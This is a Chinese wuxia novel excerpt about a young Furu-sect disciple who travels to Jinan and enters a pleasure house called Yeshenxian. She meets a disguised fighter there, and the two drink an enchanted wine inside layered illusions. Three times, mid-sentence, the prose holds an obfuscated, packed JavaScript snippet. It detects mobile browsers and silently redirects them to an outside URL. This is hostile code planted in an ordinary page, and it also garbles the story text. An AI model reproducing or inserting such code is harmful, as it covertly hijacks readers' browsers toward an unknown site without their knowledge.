《弗如山下》 1. 初下弗如 靖历二十二年,秋。 连南曦离开弗如山的那天,院子里的银杏落了一地金黄。 她从六岁起就住在这里跟着师傅,这棵银杏她看了十年,银杏也看了她十年。她挑了三片最漂亮的银杏叶,当作一小点乡愁,放进随身的荷包。 早前下山的师姐传来消息,有人声称失传百年的天下第一内功《十方经》再次出现。 从她认识师傅起,师傅就常常念叨这经籍,说要找来救人。连南曦不知道师傅要救什么人,只知道自己终有一天也会和师姐们一样,为师傅踏上找寻《十方经》的路。 连南曦今年刚满十六,她是门下年纪最小的弟子。她走之后,就只剩师傅一个人了。 她问师傅,自己能不能不走,她想留下来一辈子照顾师傅。 师傅跟她说,姑娘家不要总想着照顾谁一辈子,要承担自己的使命,要去找自己的江湖。 她师傅姓戚,是弗如派的掌门,出身著名武将世家蜀中戚家。本在江湖中闯荡,后来家族让她回去嫁人。起初她听话,嫁到京城一个大官家里,还生过一个女儿。再后来不知道发生了什么,她把女儿留给丈夫,与家中断亲,径自上山开创了自己的门派。 弗如山本是一个野山头,戚师傅占了以后起的名字。她觉得这山长得没啥特色,比不上别处,不过没必要和别人比,大方承认比不上也挺好,于是起了个“弗如”,自然而然山上的门派也叫弗如派了。 弗如派只收女弟子。说是教武功,其实门派存在的意义更多在于给流落市井的小姑娘们一个家。 每一位弟子进门,戚师傅都会先让背诵、修习心法,展露出习武天赋的,戚师傅才会继续教习门派绝学拂雪掌。大多数弟子都差强人意,难得连南曦的天赋算是非常不错。 随着连南曦慢慢长大,戚师傅发现她的力气较同龄男子要大上许多。 十二岁时,她在树林中练习拂雪掌,一掌下去直接打断一棵碗口粗的树。这拂雪掌为戚师傅所自创,四两拨千斤,如同拂去窗棂残雪般短促一击,施以巧劲即可将敌人掀翻在地,没想到连南曦竟能将拂雪掌打出这么强的破坏力。 随后四年,连南曦的武功又大有精进,戚师傅这才放心让她十六岁就下山。 不过江湖凶险,赤手空拳难敌兵器。于是下山前戚师傅给了她一柄戚家族人才有的短刀防身。这戚家短刀的刀柄为黑青玉所制,刀背描金、刃尖上翘,整体长度堪堪与连南曦的小臂差不多。 戚师傅是个感性的人,送自己的小弟子到山门前,忍不住抹起眼泪来。 连南曦跪在师傅脚边哭,用师傅的袍子边擦眼泪。她越哭越凶,师傅本来也哭,扯扯袍子发现扯不动,倒是被她逗笑了。 “南曦啊,别哭了,再擦下去为师今天又得洗衣服了。” 连南曦抬起头,十年前被师傅捡到、浑身脏兮兮的小女孩已然出落成亭亭少女,一双杏眼盛着泪水,亮晶晶地望着师傅,脸却还是圆乎乎的,稚气未脱。 “师傅,我还想陪您十年、二十年,一直一直在弗如山住下去……” “每次师姐们走的时候你都在山门眼巴巴望着,怎么临走又不愿意了?” “看着别人走和自己走是不一样的!”连南曦说着又想哭。 戚师傅摸摸连南曦的脑袋,“不要哭了,江湖不相信眼泪。” 连南曦沿着师姐们下山时做的标记,一路离开弗如山。 她一边下山一边回头,看着灰扑扑的山门越来越小、越来越远、越来越高,直到隐藏在层层树冠之下再也看不见。她想,再回来这里,应是猴年马月的事了。 师傅给了她一些盘缠,也放在她的荷包里。 这荷包是她曾经突发奇想,要学女工,在师傅的指导下自己歪歪扭扭绣了一个蓝色的。本想送给师傅,师傅略带嫌弃地表示虽然很有纪念意义但还是她自己留着吧,于是她放弃了学习女工,这个荷包倒是常用。 师傅曾经告诉她,除了《十方经》,下山以后还要去寻自己剩余的家人,人要知道自己从哪里来。 而师姐消息中提到《十方经》出现的地方,正是她被师傅捡到的地方——济南府。 她对济南府的印象已经不太深了,对小时候的事也记不大清。但她看师傅每每提起往事,眼中都流露出心疼的神色。 师傅说,她是靖历十二年在济南府上元节灯会捡来的小孩儿,身上只带着一块写了名字的铭牌,脏脏瘦瘦的,说话带着蜀地口音,不知怎么流浪到这么远来。她看连南曦比自己女儿还要小上四五岁,觉得她可怜,所以也没有多问,就把她带了回来。 算是故地重游吧。连南曦又一次走在了济南的大街上,用她十六岁的眼睛重新描绘这座城。 她穿着一身浅灰布衣,外面罩一层青色的袍子,秋日凉爽,围了一圈深灰围脖防风,背着用麻布裹起来的简单行囊,腰间别着防身的戚家短刀和自己绣的蓝色荷包。 连南曦身材颀长瘦削,虽然胃口大,但山上吃的东西都是师傅师姐种的菜、打的猎,难得师傅下山采买才有点油水,长不了多少肉。头发倒是又长又多,那围脖带一个兜帽,她把海藻般的黑发用短簪随意盘了盘藏进去,不仔细看则雌雄莫辨。 济南的秋天比弗如山上要干燥些。 连南曦嗅着空气里的味道,和山上的草木味儿截然不同,有各种面类食物蒸煮的香气、各种胭脂水粉散发的香气,还有各种人来来往往身上衣服的味道。 她在街上走走逛逛,想着等下先找个旅店落脚。 突然一道人影窜过,不轻不重撞了她一下。连南曦转头看见那人向前疾跑,一摸腰间,荷包被那人偷了!她拔腿就追,边追边喊:“站住!小偷!” 那人对济南街道非常熟悉,穿梭其中,让连南曦这个外乡人追得艰难。 一转身那人又钻进一条小巷,眨眼间不知去了哪里。正当连南曦懊恼把人追丢的时候,“砰!”一声,隔壁巷子里传出人的身躯重重撞向地面的声音。 连南曦闻声赶去,一望就望到偷她荷包的人在地上打滚,周围人的也都聚了过来。 “让你偷我东西!”连南曦一把从他手上抢过自己的荷包,点了点数,这次她学会了,挂进了袍子里面。 她刚把那人揪起来,余光看到一抹白色的身影从人群中一闪而过。看来这就是刚刚击落贼人的义士了,她来不及反应,赶忙追了上去。 连南曦往前跑两步,纵身一跃,左脚踏右脚飞上屋顶,余光敏锐地捕捉到那白衣客消失在右手边街对面的屋脊,于是调转方向。 白衣客带着帷帽,看不清样貌,且轻功了得,永远在她前面两栋房子,怎么追都差一点点。 一青一白两道人影在济南的屋檐上疾奔,一路向城西而去。直到出现一栋异常高大的楼房,白衣客一闪身消失在楼中,也消失在连南曦的视线里。 连南曦追到这高楼前,乍一看这楼又老又旧,像个不知道前几代传下来的古建筑。细看发觉,房梁木材虽年代久远,但整楼覆盖着彩色琉璃瓦;明明看起来极为冷清,门窗缝隙间却有散落的彩色纸花。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055111|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她跃下地面,抬头看见此楼有块巨大的红木匾额,上书“夜神仙”三个镶金大字。 奇怪,去哪儿了……连南曦本想继续查找白衣客是如何躲进楼中,但经过这一番折腾,她闻着济南城中弥漫的馒头香气,瞬间觉得饿了。 事已至此先吃东西吧。她从荷包里掏出几枚铜板,在隔壁的摊位买了个大馒头。一口下去香甜软糯,她抬头看看天色,太阳已经开始下行。 一边吃着馒头,她一边向摊主打听:“这夜神仙是个什么地方,怎么和别处不太一样?” “少侠是初来乍到吧?”摊主露出一个讳莫如深的微笑,“夜神仙可是全济南最快活的地方。” 听起来是个青楼。连南曦皱了皱鼻子,师傅跟她说过青楼是不好的地方,是男人吃女人的地方。 “每月十五他们都会请出一坛镇店酒,名叫快活酒,听说喝一口能见到仙人,可以窥得天机、立地飞升,济南城无人不想试试咧!” 她掐指一算日期,今天正好是十五,问道:“这地方看起来都没人,什么时候能进去?” “哎哟,您还真问对人了,”摊主凑近她,压低声音说:“夜神仙酉时开门,这里往南去三条街,有个四方客栈,他们有法子。” 择日不如撞日,正好自己也没地方住。她空口吃了一整个馒头,才觉得堪堪果腹。 四方客栈外表平平无奇,一块老旧的匾额上写着名字,经过风化,字迹有些淡了。 连南曦走进去,一股霉味儿扑面而来,一眼就看到桌椅上有很多刀剑砍出来的痕迹。 一个小二小跑着凑过来,“客官打尖儿还是住店?” 那小二面色苍白,声音也没什么气力,表情木讷,但还算热情。连南曦想着既来之则安之,便说要住店,最普通的房间即可。 “客官远道而来,东西各剩一间房,您看选哪间?” 连南曦选了一间西边的厢房。西边可以看见夕阳,还可以观察到夜神仙那栋楼。她先付了几天的房费,跟着小二来到所谓的西边厢房。 这房间倒是素净,没有什么不好的味道,看来应该经常有人住。她简单把行囊卸下,推开窗户透气,外面的夕阳一下子涌进来,让室内变成了满当当的橙红色。 连南曦并没有透露自己是姑娘家。师傅以前说,姑娘家一个人行走不方便,没什么必要就别多说。 “对了,”她叫住正要离开的小二,“听说你们这里,有进夜神仙的路子?” “客官今晚要去快活节?”小二扯出一个奇怪的笑容,“请柬我待会儿给您送来,子时之前都能进,夜神仙里不宵禁。” 连南曦目送着小二关门出去。舟车劳顿,一进城又是连续的追逐,她着实是有些累了。 反正现在离酉时还有一阵子,请柬也还要等一会儿。她把行囊一放,什么也没收拾,合衣躺在床榻上,在安静的夕阳里不知不觉地睡着了。 大概一个时辰之后,她被一阵悉悉索索的声音吵醒。 屋内已由明亮转为晦暗,她依稀看到门缝那里有个信封样的东西。连南曦捡起拆开,里面有张对折的黑色纸张,翻开竟一个字也没有。 这黑色纸张很厚实,摸起来又光滑油润,让连南曦想起在山上打猎获得的动物皮子。 她重新整理一下衣着,将长发藏好在兜帽中,拿上短刀出门。 济南城入夜后比白天还要热闹,街上灯火通明,人群熙熙攘攘,饭店酒楼传出豪爽的谈笑声。城里独有的烟火气提醒着她,过去无忧无虑的山野生活已经结束了。 2. 夜访神仙 当连南曦站在夜神仙门口时,亦十分惊讶于它和白天灰扑扑的样子完全不同。 门廊屋角都挂着糊着彩纸、剪了图案的灯,照在琉璃瓦上更添流光溢彩。门口两名女子罗裙簪花、笑靥盈盈,忙着迎来送往。 她注意到有人进门用的请柬是白色,有的则是黑色。她看看自己手上的黑色请柬,不知有何区别。 连南曦捏捏荷包,不知道自己进出一趟它会瘦成什么样。 但人不是为了钱才来这江湖一遭,钱花完了可以再赚,若错过此刻,也许她好奇之事从此再也没有答案。 她走到门口,其中一名女子笑着向她伸出手,她将黑色的请柬递上。 那女子接过时,手指摩挲了一下纸面便还给她,伸手作邀请状,“公子请进。” 她点点头,故作冷漠地走进去。进门便是铺天盖地的彩纸,这纸片像是怎么洒都洒不完一样,如雪花般纷纷扬扬持续在场内飘散,她身上也落了一些。 这大楼整体贯通,一共五层楼。每一层都是一圈房间,无论纵向还是横向的空间都非常大,地面还有小桥流水的造景。 里面的人分为两大类,打扮花枝招展的女子和身着绫罗绸缎的客人们。连南曦站在其中,稍显稚嫩。她捏着请柬,有些手足无措。 想着高处能看全面一些,她走上通往二楼的楼梯。但还没等她踏上二楼的地板,一位发髻上簪了一朵大芍药的娘子就将她拦在了楼梯上。 大概看她是第一次来,那芍药娘子带着妩媚却又客气的笑容,靠近问她:“小公子第一次来吧?咱们这里一楼是弹琴听曲儿、喝酒看舞、下棋作诗。” 芍药娘子顿了顿,补充道:“二楼往上可就不止这些了。” 连南曦不想接茬,便问:“听说今晚有快活酒喝?” “要喝快活酒,您得先选个姑娘,”芍药娘子掩嘴笑笑,“选了姑娘才能上二楼,二楼之后才是三楼。我们子时停止迎新客,到时会给三楼的客人一人一杯。” 连南曦皱皱眉头,想要推脱,未等开口,芍药娘子似乎看出她的想法,补了一句,“您总得先选一位合眼缘儿的。” 连南曦只得向楼下张望,忽然注意到有位女子在人群中曼妙穿梭、步履翩翩。 那女子穿一身水红绸裙,戴雪白薄纱遮面,头上簪一支金色步摇。衣袂随身而动,如飘飘仙女般轻巧,又如青丘有狐般灵动。 这人在花团锦簇之中颇具三分清冷气质,身法绝不一般。脚不沾地、头上步摇只是微晃,应有些轻功底子。 连南曦觉得这身形有点眼熟,但又说不上有什么特征,一时半会儿想不起来。 她决定就选这个不一般的人。 芍药娘子跟着她的眼神,见她青眸落定,便伸手向那人群中的女子招了招:“梧桐!你来招待这位小公子!” 随即又笑眯眯对着连南曦,“小公子好眼光,您是梧桐今晚第一位客人。” 名叫梧桐的女子抬头望向连南曦,一双桃花眼,琥珀色的眸子映着星星点点的彩灯,秋波流转。她穿过人群一步步走向连南曦,彩纸纷纷扬扬地飘洒在她的发髻与衣裙上。 连南曦一时间看出神了。 梧桐走上楼梯,向她行了个礼,“公子,梧桐带您去厢房。” 连南曦跟在梧桐身后,看着她的背影,纤腰仿佛盈盈一握之间,脊背亭亭直立,蒲柳身躯却生出松柏之质。 她从未见过如此美丽的背影,亦步亦趋跟着梧桐进了二楼走廊末端的厢房。 这房间里一张八仙桌、四把圆凳、一座雕花床,平平无奇,用途明确。 “公子先喝茶吧。”梧桐关上门,右手将她摁在圆凳,眼眸微动,抬起左手,指尖拈了一片连南曦头上的彩纸下来,然后笑着为她倒茶——连南曦看不见被面纱遮住的地方,只看到那双桃花眼里带着些许笑意。 连南曦看着那双眼睛接过茶杯,没注意被烫了一下。手一抖,茶杯落地,她人也回过神来。 “不是不是。”她倏然站起身,梧桐反应飞快往后撤了一步,才没被她撞翻。 “姑娘,我不是来……来……”她不知不觉涨红了脸,一看就是小孩子样。 梧桐没有被她惊到,眼中仍是笑的神色,但连南曦未能看出更多的波澜,反而从中隐约看出些故意来。 “公子年纪尚小,是不是偷摸从家中出来的?不要怕,”她又倒了一杯新茶递给连南曦,“喝杯茶,睡一会儿。” 连南曦这次小心地接过茶杯,放到唇边时怕烫般吹了吹,有意地嗅了嗅茶香。 这一嗅被她发觉茶香中混合着一种异香,如薄荷凛冽又如香草甜腻。这味道她曾经在师傅的药房里闻到过……是曼陀罗草的味道! 曼陀罗草少量、短时泡水饮用,可以助眠;泡超过三个时辰饮用,可以使清醒的人昏昏入睡,有点像无副作用的蒙汗药;如果将其不加水研磨成粉,直接混入食物服用,那会使人长睡不醒,直到用同属西域的雪莲花燃烧熏香才会醒转。 连南曦猛然将杯中茶水泼掉,梧桐站在她与房门之间,她只得闪身到窗边,肢体呈防御的姿态,质问道:“你是什么人,为什么给我下曼陀罗草?” 梧桐见她如此警觉,便也不装了。那双笑眼霎那如刀锋凌厉,连带着整个人的气场都与方才的温柔不同。 “公子,若是喝了我的茶,只需睡一觉便能舒服地离开;若是不喝我的茶,等下睡过去可不一定再有醒来的时候了。” 连南曦一听,这是在威胁她性命不保。她想回头看看能否从窗口脱身,又怕梧桐趁机偷袭,一时间腹背两难,只得对峙在这里。 如果硬打,凭借自己的掌力应该可以一战,但梧桐身法之好她已见过,真打起来说不定是掌掌落空,没那么容易。 “先把话讲清楚。”连南曦到底是个女子,没有一头热地贸然动手。自己刚刚下山,在江湖武林中毫无声响,无论是谁都没有毒害自己的理由,其中怕是有什么误会。 “没什么可讲的,你要做的就是什么都别打听,以后也别这么倒霉再选我。” “不知道你要对我做什么,我怎么可能束手就擒、喝你的曼陀罗茶?”连南曦回了句嘴,她不喜欢这些说不清楚的事。 梧桐周身透出一股杀气,使得她本就清冷的气质更是如雪如冰,让人胆寒几分,“那就没这么舒服了!” 语毕,梧桐脚下一点地,直直逼向连南曦,左手出掌先对着连南曦的右肩拍来,右手握拳紧跟着朝她的左颊呼去。 她一侧身先是躲过一掌,又一仰头避过一拳。不知道这到底算拳法还是掌法,戚师傅没教过这样的招数。 连南曦闪躲后下意识反击,一招拂雪掌直冲对方躯干而去。梧桐见状连撤三步,避开连南曦的掌风,脚下极为灵活地又一点地,瞬息滑到连南曦背后,瞄准眼前人的脖颈就要劈下手刀。 连南曦出掌时重心前移,此时身后落下手刀,她赶忙翻转身体,但兜帽还是被梧桐碰落,盘发的短簪也掉落在地。 一头乌黑长发在梧桐眼前散开,连南曦转身时长发掠过她们之间,梧桐第一次真切地看见连南曦的样貌。 飘扬的黑发及黑发后的一双杏眼,带着一点慌张望向她,仿佛受惊的林中鹿。 梧桐猛然收住力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055112|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脚步定在原地。之前只觉得这人比一般男子瘦弱,但因为比自己要高出几分,从没想到竟然是个女子!怎么会有女子到这种地方来的? 正当她愣神之际,雪白面纱亦被连南曦一把扯下。 “既然你看清我了,那我也要看清你。” 一双薄唇,下颌瘦削,倒是符合连南曦的想象。她细看发现,梧桐下唇中间有一粒小痣,很是特别。 “原来你我都是女子,别打了。”梧桐像是松了一口气,捞了一把桌边圆凳坐下,顺手给自己倒了杯茶。刚想润润喉咙,又放下了,差点忘了这茶跟蒙汗药一个效果。 连南曦见她松弛下来,便在床沿坐下。虽然二人之间不再剑拔弩张,但她暂时还想和梧桐保持一些距离。 “这床你也坐啊,”梧桐看着她,脸上有些戏谑,“那么多男客碰过的,脏。” 连南曦赶紧抬屁股,不情愿地坐在了另一把圆凳上。 她觉得自己莫名其妙在听梧桐的话,可能因为梧桐看起来比自己要大好几岁,她将自己对师姐们的想念移情到了眼前人的身上。 “现在你知道我也是女子了,能解释一下茶的事吗?”连南曦想问个清楚,“还有你突然出手打我的事。” “那是用来药男客的,在这种地方我总要保护自己吧,所以每次让他们喝了茶做个美梦,就没人会招惹我了。” 梧桐望着她,舔了舔有些干燥的嘴唇。 “打你……我以为你是男子,想着药不倒你就干脆敲昏过去算了。” “……你可是威胁要杀了我的。” “我又不会真杀了你。” 连南曦撇撇嘴,嘴角的梨涡浅浅得显了出来。梧桐看着她,噗嗤一声笑了。那双桃花眼弯如弦月,眯着看不见瞳仁。 连南曦意识到梧桐现在才是真的在笑。 “你们弗如派是不是在山上清闲惯了,胆子挺小啊。” “你怎么知道我是弗如派的?”连南曦惊讶道。 “刚刚你那招拂雪掌,是弗如派的绝学,”梧桐耐着性子解释道,“而且你这内力,应该练的是南山决吧。” 南山决正是戚师傅从小让弟子们修习的内功心法。连南曦想不到眼前人这么厉害,能依据她招数之间的调息分辨出她练的是何内功。 明明十六岁不算小了,但此刻在这人面前,连南曦感到自己完全是个小孩,露怯。 她沉默了一下,“你到底是什么人?” “说过了,我叫梧桐。”梧桐似笑非笑。 “你来这里不是真卖身,那是要做什么?” “你来这里又是做什么?”梧桐偏偏不爱说清楚似的,眼睛又不笑了,望着连南曦,打定主意她不先说自己也绝不说。 “快活酒。”连南曦没有透露找白衣客的事。 “我也是。” 连南曦有些恼了,“你根本不说实话,你就是学我舌罢了!” 梧桐挑了挑眉,“就是实话。都说喝了快活酒能见神仙,你不想见吗?” 连南曦不置可否,但谁会为了个快活酒假装卖身进来?她自是不信的。 “你来了正好,咱俩一起到三楼去。”梧桐手上随意地把玩着一个杯子,她把那杯子倾斜一点,支在桌面上转圈。 连南曦盯着她筋骨分明、颀长如葱的手指,手上肌肤薄如蝉翼,没见过比这更好看的手了。 今晚她已经盯着这个叫梧桐的女子出神两次了,一次是从人群中向她走来,一次是现在。前所未有,这人比她认识的所有女子都好看。 “……三楼怎么去?”连南曦回过神,想起这个关键问题。 3. 如梦如幻 “你的请柬是什么颜色的?”梧桐问她。 “黑色的。”连南曦说着把无字请柬拿出来,要递给梧桐。梧桐摆摆手,示意她自己放好。 “夜神仙有两种请柬,白色请柬在市面上能花钱买到,只能上到二楼玩乐;而黑色请柬则是有缘人得之,可以上到更高的楼层去,”梧桐正色道,“待会儿会有人来喊我们,你有黑色请柬应该可以直接通过。” “这么简单吗?”连南曦有些疑惑。 “你的黑色请柬是哪里来的?”梧桐问道。 “是四方客栈的小二给的。”连南曦老实回答。 “没有向你要什么回报吗?”这回轮到梧桐面上浮现出疑惑的神色,“黑色请柬虽说有缘人可得,但凡事都有对价。” 她顿了一下,“我用楼中女子的身份进来,也是因为黑色请柬的对价我承担不起。” 连南曦不禁担忧,连梧桐这样武功高强的人都付不起的对价,小二就这样把请柬给了她而绝口不提其他,不是一件好事。 “你之前也去了四方客栈吗?” “对。” “他们要你什么对价?” “……”梧桐没有回答,转头避开连南曦的目光。 房间内重新陷入安静,门外传来嬉笑怒骂的喧哗。屋内两人一坐一站,站着的望着坐着的,坐着的望着窗外,亥时的月亮已经爬得很高了。 连南曦刚想再追问,突然有人敲门。 “躲一下!”梧桐赶紧捡起落地的短簪交给连南曦,把她推去门口的盲区,然后扯乱自己的衣裙和头发,跑去开门。 梧桐拉开门,直接映入眼帘的是发髻上一朵大芍药,是那位在二楼管事的娘子。 芍药娘子打量了她一下,想探头张望内情。梧桐连忙挡住她,身子靠着门框,挤出冠冕堂皇的笑容。 “姐姐,里面的客人不方便。” “今晚快活节,去三楼的楼梯开放了,可以过去了,”芍药娘子收回目光,又笑着朝屋内喊话,“客官要是满意我们梧桐,想继续享受这春宵一刻,也是可以的。” “知道了姐姐,我和客官稍后就去呢。”梧桐也对她笑笑,是之前那种带着故意的笑。 门关上后,连南曦从门后走出,她已经重新用短簪将长发绾好,藏于兜帽之中。 她看见梧桐衣冠不整、鬓发缭乱,不自觉笑出了声。这人刚刚还一副运筹帷幄的样子,现在看起来又像被谁欺负了似的。 “……别笑了。”梧桐故意把自己弄得好像刚从床上下来,虽然没有实际发生什么,但被一个刚认识的女子这样盯着笑,心中升起一点点羞耻来。 连南曦比她高一些,伸手摘下她的金色步摇,递到她面前,“姐姐,重新梳一下吧。” 梧桐听她故意学自己叫刚才管事娘子的那声“姐姐”,翻了一个嗔怪的白眼给她,骂她:“轻浮,弗如派教的吗?” “你教的。”连南曦小计得逞一般笑着。 梧桐整理得大差不差,两人一前一后向三楼楼梯走去。 楼梯口已经聚集了一些人,有些早就是醉醺醺的了,身子像烂泥一样搭靠在身边女子肩上,嘴里还在调笑;有些看起来和选来的女子没什么多余接触,只对三楼好奇的张望,并不在意身边是谁。 连南曦和梧桐在其中显得尤为突出。她们一个高高瘦瘦,纤细不像寻常男子,在几个肚子又大、个子又矮的男人旁边显得鹤立鸡群;另一个身形举止都不像旁边的楼中女子般娇媚缠绵,于其中踽踽独立。 三楼管事的娘子从暗区走出,向楼梯下一看,也注意到了她们。 “你们二人先上来。”三楼管事的娘子朝她们招手。 连南曦和梧桐对视了一眼,挤过人群率先上楼。 “你就是新来的梧桐?”那娘子睨了梧桐一眼,“确实气质清奇,风格与其他女子不同,水色没有说错。” 水色是半个月前招收梧桐入楼的娘子,不知道是在几楼管事的,梧桐进来后就没再见过她了。 “姐姐,这位是我今晚的客人……”梧桐看了看连南曦,突然想起自己没问过她叫什么,只能现编:“……李公子。” 那娘子打量了一下连南曦,挂上迎客的微笑,伸出手:“请李公子将请柬予小女子一看。” 连南曦也打量了一下这位三楼管事娘子,与楼下的芍药娘子相似,发髻上也簪着花朵,不过簪的是一朵海棠花。 她非常顺从地拿出黑色请柬,扮演一位普普通通的“李公子”。 海棠娘子接过黑色请柬,也是指尖拂过、并未打开查看,就作邀请状让开身子,请她们两位进入了三楼。 连南曦对三楼的第一感觉是安静,不同寻常的安静。 如果说因为她们最先上三楼、没有其他客人,那三楼总有安排些服侍的女子吧?但此刻好像进入另一个空间,与楼下的喧嚣划清界线一般。 她与梧桐又对视了一眼,梧桐的目光也一样充满疑惑与戒备。 两人沿着三楼黑暗的走廊向前探去,越向前越黑。连南曦回头一看,竟然已经身处完完全全的黑暗中,身后也瞧不见楼梯口。 三楼怎么能够隔绝整栋夜神仙的光线? 她在黑暗中感到自己的衣角被扯住,伸手一摸索,摸到梧桐颀长冰凉的指尖。 “还说我胆小,原来你怕黑啊。”连南曦笑道。 “我哪里怕黑,”梧桐在黑暗中神色也算自若,“你看,后面没人跟着我们。我怕等会儿有人也会将我们分开,到时各自为战不方便。” 连南曦不置可否,也没放开她的手。于是她扯着连南曦的衣角、连南曦握着她的指尖,两人小心翼翼地走着。 “砰!”黑暗中突然绽开一朵烟花!连南曦和梧桐都被突如其来的声响惊到,这楼中一层怎么能放一朵直上天空的烟花? 还没等她俩反应过来,烟花变成了广袤的星空,银河闪亮可见。星光稍纵即逝,空中升起了一轮巨大的圆月,一只白兔从中跃出,向她们扑来。两人赶忙侧身躲避,白兔跃过之处步步生花。 她们来不及交流此刻的思想,脚下一软,低头看见原本的木制地板变成了草地。月光如水流淌,身侧嘻嘻哈哈跑过许多孩童,举着灯笼和火把。二人不敢乱动,回首望去,望见孩童纷纷跑向月亮之中。 随即又是一朵烟花炸亮夜空,丝竹乐声随之骤起,身旁突然灯火通明,夜神仙的那些彩灯变得无拘无束,在她们身侧飞舞旋转,令她们眼花缭乱。 就在此刻,面前月亮下又窜出一只吊睛白额大虎!大虎浑身的皮毛橘红胜火,眼睛盯着连南曦,张口咆哮,伸爪就要拍向她。 连南曦一惊,急忙后撤躲避,一踉跄差点摔倒,却感到后背被一只手有力的托住,是梧桐。 那大虎直冲连南曦面门而来。梧桐一手托住连南曦的背,另一手直接一掌挥出,触及大虎的瞬间,大虎化为一团艳红桃花爆开,花瓣从空中纷纷扬扬落下。 连南曦转头看见梧桐亦在这桃花雨中,目光坚定、面色冷绝,姣好的五官在花瓣中定格。她又看得有些呆了。 “发什么呆?”梧桐被她盯得奇怪,来不及多说,拉起她的手腕径直向月亮奔去。 在冲进月亮的瞬间,连南曦闭上了眼睛,任由身体失去重心,与梧桐一起向前扑进光芒之中。 身体没有如她想象中下坠,而是直接摔倒在了木质地板上。连南曦睁开眼睛,看到的是梧桐近在咫尺的脸。 她们反应了一秒,赶紧站起来环顾四周,发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055113|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是一间普通的房间。 “这是……真正的三楼?”梧桐先开口问道。 “应该是吧,”连南曦点点头,然后提高声音:“有人吗?” 这房间里比起二楼大很多,进门只见一扇翠玉屏风,用翡翠自身天然的颜色、纹路拼成了一副山水画卷,贵气逼人。 “梧桐,你来了。”从屏风后缓步走出一名女子,也是一位发髻簪花的娘子,簪的是兰花。 “水色?”梧桐惊讶地喊出兰花娘子的名字。 “我知道今天一定会等到你的,”水色微笑着,看了一眼梧桐身旁的连南曦,“你们是第一对,跟我来吧。” 二人跟着水色绕过屏风,穿过几个转角,这房间大得惊人……或者说,整个三楼都在其中了。 “其他人呢?”梧桐问道。 “稍后会来的。”水色径自带着她们走到一张木桌前,台面是一整块巨大的金丝楠木。 她推开房间唯一一扇窗户,任由月光洒在台面上。金丝楠的天然金色水波纹仿佛会流动一般,随着角度变化而粼粼夺目。 台面上放着一只瓷白酒壶和两只与之同料的酒杯,在月光下通透如玉,一看就是上好的玩意儿。 水色从一旁的酒壶中倒出两杯浅金色的液体,递给她们,“这就是快活酒了。” 连南曦接过酒杯,杯中物和普通的酒水不同,并不透明,而是如同流淌的黄金质地;她轻轻晃动杯子,还未等她凑近,酒香如瀑般溢出,满室芬芳。 她犹豫地看着梧桐,梧桐朝她点点头,二人同时将杯中物一饮而尽。快活酒的酒体十分顺滑,入口毫无苦涩感,咽下后回甘无穷,香气充满口鼻,让人舒适万分。 刚刚一上楼就发生一堆不同寻常的事,这酒喝下之后,连南曦反而觉得安定了一些。 “二位稍等片刻,又有人来了。”水色示意她们坐在桌边,帮她们关上窗户,转身往来时的地方走去。 连南曦回头,发现身后来时的路又不见了,水色的背影也一瞬间就隐入黑暗之中。 “你发现了吗?这里也是幻术。”梧桐低声与连南曦说道,“整个三楼从我们上来开始就是幻术。从月亮处勘破后,进来这房间又是幻术所为。三楼哪有这么大?” 连南曦皱着眉点点头,但她其实不太能分辨。梧桐看出了她的踌躇,有些讶异地问:“你不曾了解幻术吗?” 连南曦撇撇嘴,“以往只有过节的时候在灯会上见过。” 梧桐叹了口气,大概没想到弗如派没教过这个。 “所有的幻术都有命门,就像刚才的月亮,勘破命门就能破解这一层幻术。我看三楼应该处处都是幻术,只有你我依次勘破,才能接触到夜神仙更深处的秘辛。” “如果没有勘破怎么办?”连南曦问。 “那就会一直在幻术中打转,任人摆布,直到布下幻术的术师愿意放你离开,”梧桐严肃地说,“怪不得喝快活酒能见神仙都只是传闻,原是没人走出去过。” “但我不懂,他们做生意,为什么要把人留在幻术中?”连南曦疑惑道。 她还未等到梧桐的回答,身后便传来其他人的声音。连南曦和梧桐回头望去,除了黑暗还是黑暗,声音虽离她们不远,但始终未见其人。 她们好像被放在了黑洞之中。连南曦猜想,每一个黑洞中都有一张偌大的金丝楠木桌、两只如玉的瓷白酒杯。 她感到梧桐握紧了她的手。梧桐的掌心温热潮湿,惹得她的掌心也开始出汗。 “别怕。”梧桐对连南曦说。 许是初生牛犊不怕虎,连南曦的好奇大过紧张。她睁大双眼紧盯前方,只见黑暗中慢慢有什么东西浮现出来,越来越明亮。 又是那一轮巨大的圆月。 4. 浓云薄雾 